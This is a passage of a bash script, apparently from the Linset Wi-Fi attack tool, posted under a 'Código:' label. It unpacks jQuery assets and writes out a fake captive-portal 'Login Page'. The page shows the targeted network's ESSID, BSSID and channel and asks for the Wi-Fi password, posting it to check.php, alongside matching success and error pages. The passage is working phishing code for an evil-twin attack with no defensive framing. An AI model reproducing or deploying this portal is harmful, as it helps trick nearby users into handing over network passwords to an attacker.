---------------------------------------------------------------------------------------------------------------------" | base64 -d
Código:
>$DUMP_PATH/file.zip
unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$linset_output_device
rm $DUMP_PATH/file.zip &>$linset_output_device
echo "<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"/>
<style>$(cat $DUMP_PATH/data/jquery.mobile-1.3.2.css)</style>
<script>$(cat $DUMP_PATH/data/jquery-1.8.3.min.js)</script>
<script>$(cat $DUMP_PATH/data/jquery.mobile-1.3.2.js)</script>
<style>
.ui-btn {
width: 20% !important;
}
</style>
</head>
<body>
<div data-role=\"page\" id=\"login\" data-theme=\"b\">
<div data-role=\"header\" data-theme=\"a\">
<h3>Login Page</h3>
</div>
<div data-role=\"content\">
"$DIALOG_WEB_OK"
</div>
<div data-theme=\"a\" data-role=\"footer\" data-position=\"fixed\">
</div>
</div>
<div data-role=\"page\" id=\"second\">
<div data-theme=\"a\" data-role=\"header\">
<h3></h3>
</div>
<div data-role=\"content\">
</div>
<div data-theme=\"a\" data-role=\"footer\" data-position=\"fixed\">
</div>
</div>
</body>
</html>
">$DUMP_PATH/data/final.html
echo "<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"/>
<style>$(cat $DUMP_PATH/data/jquery.mobile-1.3.2.css)</style>
<script>$(cat $DUMP_PATH/data/jquery-1.8.3.min.js)</script>
<script>$(cat $DUMP_PATH/data/jquery.mobile-1.3.2.js)</script>
</head>
<body>
<div data-role=\"page\" id=\"login\" data-theme=\"b\">
<div data-role=\"header\" data-theme=\"a\">
<h3>Login Page</h3>
</div>
<div data-role=\"content\">
"$DIALOG_WEB_ERROR"
<br>
<a href=\"index.htm\" data-role=\"button\" rel=\"external\" data-inline=\"true\" id=\"back\" onclick=\"location.reload();location.href='index.htm'\">"$DIALOG_WEB_BACK"</a>
</div>
<div data-theme=\"a\" data-role=\"footer\" data-position=\"fixed\">
</div>
</div>
<div data-role=\"page\" id=\"second\">
<div data-theme=\"a\" data-role=\"header\">
<h3></h3>
</div>
<div data-role=\"content\">
</div>
<div data-theme=\"a\" data-role=\"footer\" data-position=\"fixed\">
</div>
</div>
</body>
</html>
">$DUMP_PATH/data/error.html
echo "<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"/>
<style>$(cat $DUMP_PATH/data/jquery.mobile-1.3.2.css)</style>
<script>$(cat $DUMP_PATH/data/jquery-1.8.3.min.js)</script>
<script>$(cat $DUMP_PATH/data/jquery.mobile-1.3.2.js)</script>
<style>
#login-button {
margin-top: 30px;
}
.ui-grid-c {
text-align : center;
margin-right: -50% !important;
}
.ui-block-b {
text-align : left;
}
.ui-block-a {
text-align : right;
margin-right: 10px !important;
}
</style>
</head>
<body>
<div data-role=\"page\" id=\"login\" data-theme=\"b\">
<div data-role=\"header\" data-theme=\"a\">
<h3>Login Page</h3>
</div>
<div data-role=\"content\">
<fieldset>
<form id=\"check-user\" class=\"ui-body ui-body-a ui-corner-all\" data-ajax=\"false\" action=\"check.php\" method=\"POST\" >
<div class=ui-grid-c>
<div class=ui-block-a>ESSID:</div>
<div class=ui-block-b><b>$Host_SSID</b></div>
<div class=ui-block-a>BSSID:</div>
<div class=ui-block-b><b>$Host_MAC</b></div>
<div class=ui-block-a>Chan:</div>
<div class=ui-block-b><b>$Host_CHAN</b></div>
</div>
<br>
"$DIALOG_WEB_INFO"
<div data-role=\"fieldcontain\">
<label for=\"password\">"$DIALOG_WEB_INPUT"</label>
</div>
<input type=\"password\" value=\"\" name=\"key1\" id=\"key1\"/>
<input type=\"submit\" data-theme=\"b\" name=\"submit\" id=\"submit\" data-inline=\"true\" value=\""$DIALOG_WEB_SUBMIT"\">
</fieldset>
</form>
</div>
<div data-theme=\"a\" data-role=\"footer\" data-position=\"fixed\">
</div>
</div>
<div data-role=\"page\" id=\"second\">
<div data-theme=\"a\" data-role=\"header\">
<h3></h3>
</div>
<div data-role=\"content\">
</div>
<div data-theme=\"a\" data-role=\"footer\" data-position=\"fixed\">
</div>
</div>
</body>
</html>
">$DUMP_PATH/data/index.htm
}